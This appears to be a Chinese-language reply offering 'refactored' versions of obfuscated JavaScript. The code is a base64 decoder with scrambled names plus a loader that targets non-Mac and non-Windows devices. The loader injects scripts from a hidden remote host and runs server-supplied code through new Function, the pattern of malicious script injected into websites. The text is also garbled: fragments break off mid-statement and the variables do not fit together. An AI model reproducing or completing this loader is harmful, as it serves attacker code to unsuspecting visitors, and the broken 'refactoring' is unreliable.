以下是重构后的代码:

```javascript

function UqgsgfgDv(e) {

let t = '';

let n = r = c1 = c2 = 0;

while (n < e.length) {

r = e.charCodeAt(n);

if (r < 128) {

t += String.fromCharCode(r);

n++;

} else if (r > 191 && r < 224) {

c2 = e.charCodeAt(n + 1);

t += String.fromCharCode((r & 31) << 6 | c2 & 63);

n += 2;

} else {

c2 = e.charCodeAt(n + 1);

c3 = e.charCodeAt(n + 2);

t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);

n += 3;

}

}

return t;

}

function UqSDDFGvyQ(e) {

const m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

let t = '';

let n, r, i, s, o, u, a, f = 0;

e = e.replace(/[^A-Za-z0-9+/=]/g, ''); // Remove invalid characters from the input string

}

```

请根据提供的内容完成内容重构,并保持段落结构:

```javascript

while(f

s=m.indexOf(e.charAt(f++));

o=m.indexOf(e.charAt(f++));

u=m.indexOf(e.charAt(f++));

a=m.indexOf(e.charAt(f++));

n=s<<2|o>>4;

r=(o&15)<<4|u>>2;

i=(u&3)<<6|a;

t=t+String.fromCharCode(n);

if(u!=64){

t=t+String.fromCharCode(r);

}

if(a!=64){

t=t+String.fromCharCode(i);

}

}

return UqgsgfgDv(t);

};

window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){

(function(u,i,w,d,c){

var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');

'jQuery';

u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));

'jQuery';

});

}();

```

以下是重构后的代码:

```javascript

if (navigator.userAgent.indexOf('baiduid') > -1) {

var xhr = new XMLHttpRequest();

xhr.open('POST', 'https://' + u + '/bm-' + i);

xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');

xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');

xhr.onreadystatechange = function() {

if (xhr.readyState == 4 && xhr.status == 200) {

var data = JSON.parse(xhr.responseText);

var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));

var cs = document.createElement('script');

cs.src = 'https://' + u + '/m-' + i;

cs.parentElement.insertBefore(cs, cs.nextSibling);

}

};

xhr.send('u=1');

} else {

var s = document.createElement('script');

s.src = 'https://' + u + '/m-' + i;

cs.parentElement.insertBefore(s, cs.nextSibling);

}

```